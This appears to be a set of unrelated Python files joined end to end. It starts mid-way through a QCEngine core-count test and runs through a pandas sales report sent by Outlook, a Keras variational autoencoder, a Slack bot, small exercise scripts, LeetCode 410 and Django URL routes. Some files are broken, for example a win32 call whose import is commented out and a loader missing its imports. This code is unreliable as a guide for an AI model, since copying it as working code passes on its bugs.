    For available harnesses, run minimal calc with single and multiple cores; check ncores count
      shows up in ``TaskConfig``.
    For ``thread_parallel``-active harnesses, check ncores count registers in output.

    New Harness Instructions
    ------------------------
    * Make sure minimal calc is in _canonical_methods above.
    * If ``thread_parallel=True`` in harness, add regex to ``stdout_ref`` below to check ncores the
      program sees.
    * If this test doesn't work, implement or adjust ``config.ncores`` in your harness.

    """
    if not has_program(program):
        pytest.skip(f"Program '{program}' not found.")

    harness = qcng.get_program(program)
    molecule = _get_molecule(program, model["method"])

    #  <<  Config

    config = qcng.config.get_config(
        hostname="something",
        task_config={
            "ncores": ncores,
            "nnodes": 1,
        },
    )

    #  <<  Run

    inp = AtomicInput(molecule=molecule, driver="energy", model=model, keywords=keywords)
    ret = qcng.compute(inp, program, raise_error=True, task_config=config.dict())
    pprint.pprint(ret.dict(), width=200)
    assert ret.success is True

    #  <<  Reference

    stdout_ref = {
        "cfour": rf"Running with {ncores} threads/proc",
        "gamess": rf"MEMDDI DISTRIBUTED OVER\s+{ncores} PROCESSORS",
        # "gamess": rf"PARALLEL VERSION RUNNING ON\s+{ncores} PROCESSORS IN\s+1 NODES",  # no line for serial
        # nwchem is node_parallel only
        "psi4": rf"Threads:\s+{ncores}",
    }

    #  <<  Test

    assert config.ncores == ncores
    assert config.nnodes == 1

    if harness._defaults["thread_parallel"] is True:
        assert re.search(stdout_ref[program], ret.stdout), f"Thread pattern not found: {stdout_ref[program]}"


import pandas as pd
#import win32com.client as win32

# Importar a base de dados (arquivo excel)
tabelaVendas = pd.read_excel('Vendas.xlsx')

# Visualizar a base de dados
# O codigo abaixo pede para o pycharm mostrar todas as colunas da tabela
pd.set_option('display.max_columns', None)

# Faturamento por loja
# Entre os dois [] filtramos qual colunas nos queremos
# e o .groupby() nos selecionamos oq queremos agrupar, que no caso e o ID Loja
# o .sum() pedimos para que seja somada o Valor Final
faturamento = tabelaVendas[['ID Loja', 'Valor Final']].groupby('ID Loja').sum()

# Quantidade de produtos vendidos por loja

quantidade = tabelaVendas[['ID Loja', 'Quantidade']].groupby('ID Loja').sum()

# Ticket medio por produto em cada loja
# O ticket medio e o valor do faturamento / quantidade
# Entao selecionamos a variavel e entre [] colocamos o que nos queremos filtrar das colunas
# Mas o python nao vai nos entregar uma tabela, entao nos tems que pedir pra que ele faca isso com o ".to_frame()"
ticketMedio = (faturamento['Valor Final'] / quantidade['Quantidade']).to_frame()
ticketMedio = ticketMedio.rename(columns={0: 'Ticket Médio'})
print(ticketMedio)

# Enviar um email com o relatorio

outlook = win32.Dispatch('outlook.application')
mail = outlook.CreateItem(0)
mail.To = 'colocarAquiUmEmail@gmail.com'
mail.Subject = 'Ex.: Relatório de vendas por loja'
mail.HTMLBody = f'''

Prezados

Faturamento

{faturamento.to_html(formatters={'Valor Final': 'R${:,.2f}'.format})}

Quantidade de vendas

{quantidade.to_html()}

Ticket médio dos produtos em cada loja:

{ticketMedio.to_html(formatters={'Ticket Médio': 'R${:,.2f}'.format})}

Qualquer duúvida estou a disposição

Att.,

Bruno Nascimento Marques

'''

mail.Send()
print('Email enviado')


import tensorflow as tf
from keras.datasets import fashion_mnist

from tensorflow.keras.models import Sequential

from tensorflow.keras import layers
import numpy as np
import matplotlib.pyplot as plt

(x_train, _), (x_test, _) = fashion_mnist.load_data()

def process_dataset(images):
    images = images.reshape((images.shape[0], 28, 28, 1)) / 255.0
    return np.where(images > 0.5, 1.0, 0.0).astype("float32")

train_images = process_dataset(x_train)
test_images = process_dataset(x_test)

train_size = 60000
batch_size = 32
test_size = 10000

train_dataset = (
    tf.data.Dataset.from_tensor_slices(train_images)
    .shuffle(train_size)
    .batch(batch_size)
)
test_dataset = (
    tf.data.Dataset.from_tensor_slices(test_images).shuffle(test_size).batch(batch_size)
)

class VariationalAutoEncoder(tf.keras.Model):
    def __init__(self):
        super(VariationalAutoEncoder, self).__init__()

        self.latent_dim = 2

        self.encoder = Sequential(
            [
                layers.InputLayer(input_shape=(28, 28, 1)),
                layers.Conv2D(32, kernel_size=3, strides=(2, 2), activation="relu"),
                layers.Conv2D(64, kernel_size=3, strides=(2, 2), activation="relu"),
                layers.Flatten(),
                layers.Dense(self.latent_dim + self.latent_dim),
            ]
        )

        self.decoder = Sequential(
            [
                layers.InputLayer(input_shape=(self.latent_dim,)),
                layers.Dense(7 * 7 * 32, activation="relu"),
                layers.Reshape(target_shape=(7, 7, 32)),
                layers.Conv2DTranspose(
                    64, kernel_size=3, strides=2, padding="same", activation="relu"
                ),
                layers.Conv2DTranspose(
                    32, kernel_size=3, strides=2, padding="same", activation="relu"
                ),
                layers.Conv2DTranspose(1, kernel_size=3, strides=1, padding="same"),
            ]
        )

    @tf.function
    def sample(self, eps=None):
        if eps is None:
            eps = tf.random.normal(shape=(100, self.latent_dim))
        return self.decode(eps, apply_sigmoid=True)

    def encode(self, x):
        mean, logvar = tf.split(self.encoder(x), num_or_size_splits=2, axis=1)
        return mean, logvar

    def reparameterize(self, mean, logvar):
        eps = tf.random.normal(shape=mean.shape)
        return eps * tf.exp(logvar * 0.5) + mean

    def decode(self, z, apply_sigmoid=False):
        logits = self.decoder(z)
        if apply_sigmoid:
            return tf.sigmoid(logits)
        return logits

    def call(self, x):
        mean, logvar = self.encode(x)
        z = self.reparameterize(mean, logvar)
        x_logit = self.decode(z)
        return x_logit

optimizer = tf.keras.optimizers.Adam(1e-4)

epochs = 10

num_examples_to_generate = 16

model = VariationalAutoEncoder()

def log_normal_pdf(sample, mean, logvar, raxis=1):
    log2pi = tf.math.log(2.0 * np.pi)
    return tf.reduce_sum(
        -0.5 * ((sample - mean) ** 2.0 * tf.exp(-logvar) + logvar + log2pi), axis=raxis
    )

def compute_loss(model, x):
    mean, logvar = model.encode(x)
    z = model.reparameterize(mean, logvar)
    x_logit = model.decode(z)

    # computes probable difference in logit and label
    cross_ent = tf.nn.sigmoid_cross_entropy_with_logits(logits=x_logit, labels=x)

    logpx_z = -tf.reduce_sum(cross_ent, axis=[1, 2, 3])
    logpz = log_normal_pdf(z, 0.0, 0.0)
    logqz_x = log_normal_pdf(z, mean, logvar)

    # Monte Carlo Estimate
    return -tf.reduce_mean(logpx_z + logpz - logqz_x)

# callable graph function
@tf.function
def train_step(model, x, optimizer):
    # compute gradients for variables
    with tf.GradientTape() as tape:
        loss = compute_loss(model, x)
    gradients = tape.gradient(loss, model.trainable_variables)

    # Apply calculated gradients to trainable variables
    optimizer.apply_gradients(zip(gradients, model.trainable_variables))

def save_sample_images(model, epoch, test_sample):
    mean, logvar = model.encode(test_sample)
    z = model.reparameterize(mean, logvar)
    predictions = model.sample(z)

    for i in range(predictions.shape[0]):
        plt.subplot(4, 4, i + 1)
        plt.imshow(predictions[i, :, :, 0], cmap="gray")
        plt.axis("off")

    plt.savefig("epoch_images/image_at_epoch_{:04d}.png".format(epoch))

for test_batch in test_dataset.take(1):
    sample_batch = test_batch[0:num_examples_to_generate]

for epoch in range(1, epochs + 1):
    for train_x in train_dataset:
        train_step(model, train_x, optimizer)
    loss = tf.keras.metrics.Mean()
    for test_x in test_dataset:
        loss(compute_loss(model, test_x))
    loss = loss.result()
    print("Epoch: {}, Loss(ELBO): {}".format(epoch, loss))
    save_sample_images(model, epoch, sample_batch)


# Set below as an env variables before starting python app
# export SLACK_SIGNING_SECRET=
# export SLACK_BOT_TOKEN=
# export SLACK_APP_TOKEN=

import os
from slack_bolt import App

# Initializes your app with your bot token and signing secret
app = App(
    token=os.environ.get("SLACK_BOT_TOKEN"),
    signing_secret=os.environ.get("SLACK_SIGNING_SECRET")
)

@app.message(":wave:")
def say_hello(message, say):
    user = message['user']
    say(f"Hi there <@{user}>")

@app.command('/test-slash-ngrok')
def handle_slash_command_test(ack, respond):
    ack()
    t = 'Test asdsadasd'
    respond(t)

@app.message("hello")
def message_hello(message, say):
    # say() sends a message to the channel where the event was triggered
    say(
        blocks=[
            {
                "type": "section",
                "text": {"type": "mrkdwn", "text": f"Hey there <@{message['user']}>!"},
                "accessory": {
                    "type": "button",
                    "text": {"type": "plain_text", "text": "Click Me"},
                    "action_id": "button_click"
                }
            }
        ],
        text=f"Hey there <@{message['user']}>!"
    )

@app.action("button_click")
def action_button_click(body, ack, say):
    # Acknowledge the action
    ack()
    say(f"<@{body['user']['id']}> clicked the button")

# Start your app
if __name__ == "__main__":
    app.start(port=int(os.environ.get("PORT", 3000)))


# itertools에서 combinations 내장함수 사용하기   (Combinations 조합 : n개 중 순서 상관없이 r개를 고르는 것)   nCr

# from itertools import combinations

def combinations(iterable, r):
    pool = tuple(iterable)                        # iterable 객체 tuple형식 저장
    n = len(pool)                                 # n = 객체 원소 개수
    if r > n:
        return
    indices = list(range(r))                      # indices = [0,1,x,x,,,,r-1]
    yield tuple(pool[i] for i in indices)         # (pool[0], pool[1], pool[2],,,pool[r-1])
    while True:
        for i in reversed(range(r)):              #      reversed 객체  [r-1,,,,x,x,1,0]
            if indices[i] != i + n - r:           #    indices[r-1] != r-1 + n - r  >>>> break
                break
        else:
            return
        indices[i] += 1                            # indices[r-1] += 1
        for j in range(i+1, r):                    #
            indices[j] = indices[j-1] + 1          # indices[i+1] = indices[i] + 1
        yield tuple(pool[i] for i in indices)

a = list(combinations([1,2,3], 2))

print(a)

'''
iterable = [1,2,3]  , r = 2  로 설정
pool = (1,2,3)
n = 3
indices = [0,1]
yield tuple(pool[0], pool[1])                                     >> (1, 2)를 yield함

for i in reversed(range(2)):   >>  for i in [1,0]
    if indices[1] != 1 + n - r:      >> 1  !=  1 + 3 - 2
        다르므로 break 후 넘어감

indices[1] = indices[1] + 1    >> indices = [0,2]

for j in range(2,2):           >> None

yield tuple(pool[i] for i in indices)
(pool[0], pool[2])                                                >> (1, 3)을 yield함

다시 while문 밑의 for문으로 돌아간다.
    if indices[i] != i + 3 - 2:      i = 1 일 때   2 != 1+3-2 로 다르지 않으므로 i = 0 대입  indices[0] != 1은 성립하므로 i = 0으로 넘어감
        break

    indices[0] = indices[0] + 1   >> indices = [1,2]

for j in range(1,2):
    indices[1] = indices[0] + 1    >> indices = [1,2]

    (pool[1], pool[2]) 를 yield함                                 >> (2,3)을 yield함

다시 while문 밑의 for문으로 돌아간다.
 i = 1 , i = 0 모두 같은 값이 나와서 else:문 return을 통해 식을 빠져나옴

'''


# https://judge.softuni.org/Contests/Practice/Index/1830#1

text = input()

parentheses = []
for index in range(len(text)):
    if text[index] == "(":
        parentheses.append(index)
    elif text[index] == ")":
        start_index = parentheses.pop()
        print(text[start_index:index + 1])


#
# @lc app=leetcode id=410 lang=python3
#
# [410] Split Array Largest Sum
#

# @lc code=start
from typing import List

class Solution:
    def num_partitions(self, nums, x) -> int:
        """Calculate the number of partitions needed given a maximum sum limit 'x'."""
        partitions = 0
        i = 0
        while i < len(nums):
            current_sum = 0
            while i < len(nums) and current_sum + nums[i] <= x:
                current_sum += nums[i]
                i += 1
            partitions += 1
        return partitions

    def splitArray(self, nums: List[int], k: int) -> int:
        """Determine the maximum sum of a subarray when the array 'nums' is split into 'k' subarrays."""

        # Initialize the left boundary with the maximum number in 'nums'.
        # This is because any partition should at least be able to hold the largest element.
        left = max(nums)

        # Initialize the right boundary with the total sum of 'nums'.
        # This represents the sum if all numbers were in a single partition.
        right = sum(nums) + 1

        # Binary search to find the smallest maximum subarray sum.
        while left < right:
            mid = left + (right - left) // 2
            partitions_needed = self.num_partitions(nums, mid)

            # Adjust the search space based on the number of partitions needed with the current 'mid' value.
            if partitions_needed > k:
                left = mid + 1
            else:
                right = mid

        return left

# @lc code=end


def main():

    cantidad = convert(input("Fraction: "))
    print(gauge(cantidad))

def convert(fraccion):

    #try:
    x, y = fraccion.split("/")

    #except ValueError:
     #   raise ValueError

    if int(y) == 0:
       raise ZeroDivisionError

    if int(x) < int(y):
        return round((int(x) / int(y)) *100)

    else:
        raise ValueError

def gauge(fuel):

    if fuel >= 99:
        return "F"
    elif fuel <= 1:
        return "E"
    else:
        return f"{fuel}%"

if __name__ == "__main__":
    main()


a=[23,14,56,12,19,9,15,25,31,42,43]
i=0
j=0
c=0
sum=0
sam=0
u=0
som=0
while i<len(a):
    som=som+a[i]
    if a[i]%2==0:
        sum=sum+a[i]
        j+=1
    else:
        sam=sam+a[i]
        c+=1
    u+=1
    i+=1
print("count even",j)
print("count odd",c)
print("count whole",u)
print("sum even",sum)
print("sum odd",sam)
print("sum whole",som)
print("ave even:",sum/j)
print("ave odd:",sam/c)
print("total number",som/u)


weight = float(input("weight in kg: "))
height = float(input("height in m : "))
bmi = weight/(height**2)
msg = (f"your bmi is {round(bmi, 2)}. ")
if bmi < 18.5:
    msg += "you are at risk of nutritional deficiency and osteoporosis."
elif bmi < 22.9:
    msg += "you are low-risk."
elif bmi < 27.4:
    msg += "you are moderate-risk."
else:
    msg += "you are high-risk."
print(msg)


def samples(dataset='imagenet', index=0, batchsize=1, shape=(224, 224),
            data_format='channels_last'):
    ''' Returns a batch of example images and the corresponding labels

    Parameters
    ----------
    dataset : string
        The data set to load (options: imagenet, mnist, cifar10,
        cifar100, fashionMNIST)
    index : int
        For each data set 20 example images exist. The returned batch
        contains the images with index [index, index + 1, index + 2, ...]
    batchsize : int
        Size of batch.
    shape : list of integers
        The shape of the returned image (only relevant for Imagenet).
    data_format : str
        "channels_first" or "channels_last"

    Returns
    -------
    images : array_like
        The batch of example images

    labels : array of int
        The labels associated with the images.

    '''
    from PIL import Image

    images, labels = [], []
    basepath = os.path.dirname(__file__)
    samplepath = os.path.join(basepath, 'data')
    files = os.listdir(samplepath)

    for idx in range(index, index + batchsize):
        i = idx % 20

        # get filename and label
        file = [n for n in files if '{}_{:02d}_'.format(dataset, i) in n][0]
        label = int(file.split('.')[0].split('_')[-1])

        # open file
        path = os.path.join(samplepath, file)
        image = Image.open(path)

        if dataset == 'imagenet':
            image = image.resize(shape)

        image = np.asarray(image, dtype=np.float32)

        if dataset != 'mnist' and data_format == 'channels_first':
            image = np.transpose(image, (2, 0, 1))

        images.append(image)
        labels.append(label)

    labels = np.array(labels)
    images = np.stack(images)
    return images, labels


from django.urls import path
from .views import homePage, blogPage, postPage, search, updatePost, deletePost, createPost, frenchVersion

urlpatterns = [
    path('', homePage, name='home'),
    path('blog/', blogPage, name='blog'),
    path('post/<slug>/', postPage, name='post'),
    path('search-results/', search, name='search'),
    path('create-post/', createPost, name='create-post'),
    path('update-post/<slug>/', updatePost, name='update-post'),
    path('delete-post/<slug>/', deletePost, name='delete-post'),
    path('french-version/', frenchVersion, name='french_version'),
]